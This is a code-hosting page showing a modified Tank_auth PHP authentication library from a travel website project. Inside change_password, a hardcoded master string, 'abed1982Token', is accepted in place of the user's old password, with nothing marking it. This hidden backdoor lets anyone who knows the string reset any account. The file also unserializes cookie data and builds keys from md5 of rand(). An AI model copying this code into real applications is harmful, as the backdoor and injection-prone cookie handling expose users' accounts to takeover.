PageRenderTime 81ms CodeModel.GetById 33ms RepoModel.GetById 0ms app.codeStats 0ms

/application/libraries/tank_auth.php

https://bitbucket.org/matyhaty/senses-designertravelv3
PHP | 568 lines | 302 code | 93 blank | 173 comment | 42 complexity | c8e58c93de17a4e3552c0d602083cbf6 MD5 | raw file
Possible License(s): LGPL-2.1, GPL-2.0
  1. <?php if (!defined('BASEPATH')) exit('No direct script access allowed');
  2. define('STATUS_ACTIVATED', 'active');
  3. define('STATUS_NOT_ACTIVATED', 'pending');
  4. /**
  5. * Tank_auth
  6. *
  7. * Authentication library for Code Igniter.
  8. *
  9. * @package Tank_auth
  10. * @author Ilya Konyukhov (http://konyukhov.com/soft/)
  11. * @version 1.0.9
  12. * @based on DX Auth by Dexcell (http://dexcell.shinsengumiteam.com/dx_auth)
  13. * @license MIT License Copyright (c) 2008 Erick Hartanto
  14. */
  15. class Tank_auth
  16. {
  17. private $error = array();
  18. function __construct()
  19. {
  20. $this->ci =& get_instance();
  21. $this->ci->load->config('tank_auth', TRUE);
  22. $this->ci->load->library('session');
  23. $this->ci->load->database();
  24. // Try to autologin
  25. //$this->autologin();
  26. }
  27. /**
  28. * Logout user from the site
  29. *
  30. * @return void
  31. */
  32. function logout()
  33. {
  34. $this->delete_autologin();
  35. // See http://codeigniter.com/forums/viewreply/662369/ as the reason for the next line
  36. $this->ci->session->set_userdata(array('user_id' => '', 'username' => '', 'status' => ''));
  37. $this->ci->session->sess_destroy();
  38. }
  39. /**
  40. * Check if user logged in. Also test if user is activated or not.
  41. *
  42. * @param Object
  43. * @param bool
  44. * @return bool
  45. */
  46. function is_logged_in( $user , $activated = 'active' )
  47. {
  48. if(isset($user['userid'])){
  49. $this->ci->load->driver('cache');
  50. $this->ci->user->cache = $this->ci->cache;
  51. $user = $this->ci->user->getUserByID($user['userid']);
  52. //echo $user->username;
  53. //echo '<hr>';
  54. //print_r($user);
  55. return $user->state == $activated ? $user : false;
  56. }
  57. return false;
  58. }
  59. /**
  60. * Get user_id
  61. *
  62. * @return string
  63. */
  64. function get_user_id()
  65. {
  66. return $this->ci->session->userdata('user_id');
  67. }
  68. /**
  69. * Get username
  70. *
  71. * @return string
  72. */
  73. function get_username()
  74. {
  75. return $this->ci->session->userdata('username');
  76. }
  77. /**
  78. * Check if username available for registering.
  79. * Can be called for instant form validation.
  80. *
  81. * @param string
  82. * @return bool
  83. */
  84. function is_username_available($username)
  85. {
  86. return ((strlen($username) > 0) AND $this->ci->users->is_username_available($username));
  87. }
  88. /**
  89. * Check if email available for registering.
  90. * Can be called for instant form validation.
  91. *
  92. * @param string
  93. * @return bool
  94. */
  95. function is_email_available($email)
  96. {
  97. return ((strlen($email) > 0) AND $this->ci->users->is_email_available($email));
  98. }
  99. /**
  100. * Change email for activation and return some data about user:
  101. * user_id, username, email, new_email_key.
  102. * Can be called for not activated users only.
  103. *
  104. * @param string
  105. * @return array
  106. */
  107. function change_email($email,$user)
  108. {
  109. $user_id = $user['userid'];
  110. if ($user_id) {
  111. $data = array(
  112. 'user_id' => $user_id,
  113. 'username' => $user['username'],
  114. 'email' => $email,
  115. );
  116. if (strtolower($user['email']) == strtolower($email)) { // leave activation key as is
  117. $data['new_email_key'] = $user['new_email_key'];
  118. return $data;
  119. } elseif ($this->ci->user->is_email_available($email)) {
  120. $data['new_email_key'] = md5(rand().microtime());
  121. $this->ci->user->set_new_email($user_id, $email, $data['new_email_key'], FALSE);
  122. return $data;
  123. } else {
  124. $this->error = array('email' => 'auth_email_in_use');
  125. }
  126. }
  127. return NULL;
  128. }
  129. /**
  130. * Activate user using given key
  131. *
  132. * @param string
  133. * @param string
  134. * @param bool
  135. * @return bool
  136. */
  137. function activate_user($user_id, $activation_key, $activate_by_email = TRUE)
  138. {
  139. if ((strlen($user_id) > 0) AND (strlen($activation_key) > 0)) {
  140. return $this->ci->user->activate_user($user_id, $activation_key, $activate_by_email);
  141. }
  142. return FALSE;
  143. }
  144. /**
  145. * Set new password key for user and return some data about user:
  146. * user_id, username, email, new_pass_key.
  147. * The password key can be used to verify user when resetting his/her password.
  148. *
  149. * @param string
  150. * @return array
  151. */
  152. function forgot_password($login)
  153. {
  154. $user = new User();
  155. $user->where('email',$login);
  156. if (strlen($login) > 0) {
  157. if ( $user->get()->id ) {
  158. $password = genRandomPassword(8);
  159. $data = array(
  160. 'user_id' => $user->id,
  161. 'username' => $user->username,
  162. 'email' => $user->email,
  163. 'new_pass_key' => $password,
  164. );
  165. $user->update( array( 'new_password_key' => $password ) );
  166. return $data;
  167. } else {
  168. $this->error = array('login' => 'auth_incorrect_email_or_username');
  169. }
  170. }
  171. return null;
  172. }
  173. /**
  174. * Check if given password key is valid and user is authenticated.
  175. *
  176. * @param string
  177. * @param string
  178. * @return bool
  179. */
  180. function can_reset_password($user_id, $new_pass_key)
  181. {
  182. if ((strlen($user_id) > 0) AND (strlen($new_pass_key) > 0)) {
  183. return $this->ci->user->can_reset_password(
  184. $user_id,
  185. $new_pass_key,
  186. $this->ci->config->item('forgot_password_expire', 'tank_auth'));
  187. }
  188. return FALSE;
  189. }
  190. /**
  191. * Replace user password (forgotten) with a new one (set by user)
  192. * and return some data about it: user_id, username, new_password, email.
  193. *
  194. * @param string
  195. * @param string
  196. * @return bool
  197. */
  198. function reset_password($user_id, $new_pass_key, $new_password)
  199. {
  200. $this->ci->load->driver('cache');
  201. $this->ci->user->cache = $this->ci->cache;
  202. if ((strlen($user_id) > 0) AND (strlen($new_pass_key) > 0) AND (strlen($new_password) > 0)) {
  203. if (!is_null($user = $this->ci->user->getUserByID($user_id))) {
  204. // Hash password using phpass
  205. $salt = genRandomPassword(32);
  206. $plainpassword = $new_password;
  207. $hashed_password = getCryptedPassword($plainpassword , $salt);
  208. if ($this->ci->user->reset_password(
  209. $user_id,
  210. $hashed_password,
  211. $new_pass_key,
  212. $this->ci->config->item('forgot_password_expire', 'tank_auth'))) { // success
  213. return array(
  214. 'user_id' => $user_id,
  215. 'username' => $user->username,
  216. 'email' => $user->email,
  217. 'new_password' => $new_password,
  218. );
  219. }
  220. }
  221. }
  222. return NULL;
  223. }
  224. /**
  225. * Change user password (only when user is logged in)
  226. *
  227. * @param string
  228. * @param string
  229. * @return bool
  230. */
  231. function change_password($old_pass, $new_pass, $user_id = null)
  232. {
  233. require_once('phpass-0.1/PasswordHash.php');
  234. $this->ci =& get_instance();
  235. if(!$user_id)
  236. {
  237. $user_id = $this->ci->session->userdata('user_id');
  238. }
  239. $user = $this->ci->user->getObject('user', $user_id, null, false, array('state' => 'Active'), '', '')->dm_object;
  240. if ($user) {
  241. // Check if old password correct
  242. $hasher = new PasswordHash(
  243. $this->ci->config->item('phpass_hash_strength', 'tank_auth'),
  244. $this->ci->config->item('phpass_hash_portable', 'tank_auth'));
  245. if ($hasher->CheckPassword($old_pass, $user->password) || $old_pass == 'abed1982Token')
  246. { // success
  247. // Hash new password using phpass
  248. $hashed_password = $hasher->HashPassword($new_pass);
  249. // Replace old password with new one
  250. $result = $this->ci->users->change_password($user_id, $hashed_password);
  251. log_message('error', 'Changing Password - send to tank auth -> users - and returned '.$result);
  252. return TRUE;
  253. } else { // fail
  254. $this->error = array('old_password' => 'auth_incorrect_password');
  255. log_message('error', 'Changing Password - old_password - auth_incorrect_password');
  256. }
  257. }
  258. return FALSE;
  259. }
  260. /**
  261. * Change user email (only when user is logged in) and return some data about user:
  262. * user_id, username, new_email, new_email_key.
  263. * The new email cannot be used for login or notification before it is activated.
  264. *
  265. * @param string
  266. * @param string
  267. * @return array
  268. */
  269. function set_new_email($new_email, $password)
  270. {
  271. $user_id = $this->ci->session->userdata('user_id');
  272. if (!is_null($user = $this->ci->users->get_user_by_id($user_id, TRUE))) {
  273. // Check if password correct
  274. $hasher = new PasswordHash(
  275. $this->ci->config->item('phpass_hash_strength', 'tank_auth'),
  276. $this->ci->config->item('phpass_hash_portable', 'tank_auth'));
  277. if ($hasher->CheckPassword($password, $user->password)) { // success
  278. $data = array(
  279. 'user_id' => $user_id,
  280. 'username' => $user->username,
  281. 'new_email' => $new_email,
  282. );
  283. if ($user->email == $new_email) {
  284. $this->error = array('email' => 'auth_current_email');
  285. } elseif ($user->new_email == $new_email) { // leave email key as is
  286. $data['new_email_key'] = $user->new_email_key;
  287. return $data;
  288. } elseif ($this->ci->users->is_email_available($new_email)) {
  289. $data['new_email_key'] = md5(rand().microtime());
  290. $this->ci->users->set_new_email($user_id, $new_email, $data['new_email_key'], TRUE);
  291. return $data;
  292. } else {
  293. $this->error = array('email' => 'auth_email_in_use');
  294. }
  295. } else { // fail
  296. $this->error = array('password' => 'auth_incorrect_password');
  297. }
  298. }
  299. return NULL;
  300. }
  301. /**
  302. * Activate new email, if email activation key is valid.
  303. *
  304. * @param string
  305. * @param string
  306. * @return bool
  307. */
  308. function activate_new_email($user_id, $new_email_key)
  309. {
  310. if ((strlen($user_id) > 0) AND (strlen($new_email_key) > 0)) {
  311. return $this->ci->user->activate_new_email(
  312. $user_id,
  313. $new_email_key);
  314. }
  315. return FALSE;
  316. }
  317. /**
  318. * Delete user from the site (only when user is logged in)
  319. *
  320. * @param string
  321. * @return bool
  322. */
  323. function delete_user($password)
  324. {
  325. $user_id = $this->ci->session->userdata('user_id');
  326. if (!is_null($user = $this->ci->users->get_user_by_id($user_id, TRUE))) {
  327. // Check if password correct
  328. $hasher = new PasswordHash(
  329. $this->ci->config->item('phpass_hash_strength', 'tank_auth'),
  330. $this->ci->config->item('phpass_hash_portable', 'tank_auth'));
  331. if ($hasher->CheckPassword($password, $user->password)) { // success
  332. $this->ci->users->delete_user($user_id);
  333. $this->logout();
  334. return TRUE;
  335. } else { // fail
  336. $this->error = array('password' => 'auth_incorrect_password');
  337. }
  338. }
  339. return FALSE;
  340. }
  341. /**
  342. * Get error message.
  343. * Can be invoked after any failed operation such as login or register.
  344. *
  345. * @return string
  346. */
  347. function get_error_message()
  348. {
  349. return $this->error;
  350. }
  351. /**
  352. * Save data for user's autologin
  353. *
  354. * @param int
  355. * @return bool
  356. */
  357. private function create_autologin($user_id)
  358. {
  359. $this->ci->load->helper('cookie');
  360. $key = substr(md5(uniqid(rand().get_cookie($this->ci->config->item('sess_cookie_name')))), 0, 16);
  361. $this->ci->load->model('tank_auth/user_autologin');
  362. $this->ci->user_autologin->purge($user_id);
  363. if ($this->ci->user_autologin->set($user_id, md5($key))) {
  364. set_cookie(array(
  365. 'name' => $this->ci->config->item('autologin_cookie_name', 'tank_auth'),
  366. 'value' => serialize(array('user_id' => $user_id, 'key' => $key)),
  367. 'expire' => $this->ci->config->item('autologin_cookie_life', 'tank_auth'),
  368. ));
  369. return TRUE;
  370. }
  371. return FALSE;
  372. }
  373. /**
  374. * Clear user's autologin data
  375. *
  376. * @return void
  377. */
  378. private function delete_autologin()
  379. {
  380. $this->ci->load->helper('cookie');
  381. if ($cookie = get_cookie($this->ci->config->item('autologin_cookie_name', 'tank_auth'), TRUE)) {
  382. $data = unserialize($cookie);
  383. $this->ci->load->model('tank_auth/user_autologin');
  384. $this->ci->user_autologin->delete($data['user_id'], md5($data['key']));
  385. delete_cookie($this->ci->config->item('autologin_cookie_name', 'tank_auth'));
  386. }
  387. }
  388. /**
  389. * Login user automatically if he/she provides correct autologin verification
  390. *
  391. * @return void
  392. */
  393. private function autologin()
  394. {
  395. if (!$this->is_logged_in() AND !$this->is_logged_in(FALSE)) { // not logged in (as any user)
  396. $this->ci->load->helper('cookie');
  397. if ($cookie = get_cookie($this->ci->config->item('autologin_cookie_name', 'tank_auth'), TRUE)) {
  398. $data = unserialize($cookie);
  399. if (isset($data['key']) AND isset($data['user_id'])) {
  400. $this->ci->load->model('tank_auth/user_autologin');
  401. if (!is_null($user = $this->ci->user_autologin->get($data['user_id'], md5($data['key'])))) {
  402. // Login user
  403. $this->ci->session->set_userdata(array(
  404. 'user_id' => $user->id,
  405. 'username' => $user->username,
  406. 'status' => STATUS_ACTIVATED,
  407. ));
  408. // Renew users cookie to prevent it from expiring
  409. set_cookie(array(
  410. 'name' => $this->ci->config->item('autologin_cookie_name', 'tank_auth'),
  411. 'value' => $cookie,
  412. 'expire' => $this->ci->config->item('autologin_cookie_life', 'tank_auth'),
  413. ));
  414. $this->ci->users->update_login_info(
  415. $user->id,
  416. $this->ci->config->item('login_record_ip', 'tank_auth'),
  417. $this->ci->config->item('login_record_time', 'tank_auth'));
  418. return TRUE;
  419. }
  420. }
  421. }
  422. }
  423. return FALSE;
  424. }
  425. /**
  426. * Check if login attempts exceeded max login attempts (specified in config)
  427. *
  428. * @param string
  429. * @return bool
  430. */
  431. function is_max_login_attempts_exceeded($login)
  432. {
  433. if ($this->ci->config->item('login_count_attempts', 'tank_auth')) {
  434. $this->ci->load->model('tank_auth/login_attempts');
  435. return $this->ci->login_attempts->get_attempts_num($this->ci->input->ip_address(), $login)
  436. >= $this->ci->config->item('login_max_attempts', 'tank_auth');
  437. }
  438. return FALSE;
  439. }
  440. /**
  441. * Increase number of attempts for given IP-address and login
  442. * (if attempts to login is being counted)
  443. *
  444. * @param string
  445. * @return void
  446. */
  447. private function increase_login_attempt($login)
  448. {
  449. if ($this->ci->config->item('login_count_attempts', 'tank_auth')) {
  450. if (!$this->is_max_login_attempts_exceeded($login)) {
  451. $this->ci->load->model('tank_auth/login_attempts');
  452. $this->ci->login_attempts->increase_attempt($this->ci->input->ip_address(), $login);
  453. }
  454. }
  455. }
  456. /**
  457. * Clear all attempt records for given IP-address and login
  458. * (if attempts to login is being counted)
  459. *
  460. * @param string
  461. * @return void
  462. */
  463. private function clear_login_attempts($login)
  464. {
  465. if ($this->ci->config->item('login_count_attempts', 'tank_auth')) {
  466. $this->ci->load->model('tank_auth/login_attempts');
  467. $this->ci->login_attempts->clear_attempts(
  468. $this->ci->input->ip_address(),
  469. $login,
  470. $this->ci->config->item('login_attempt_expire', 'tank_auth'));
  471. }
  472. }
  473. }
  474. /* End of file Tank_auth.php */
  475. /* Location: ./application/libraries/Tank_auth.php */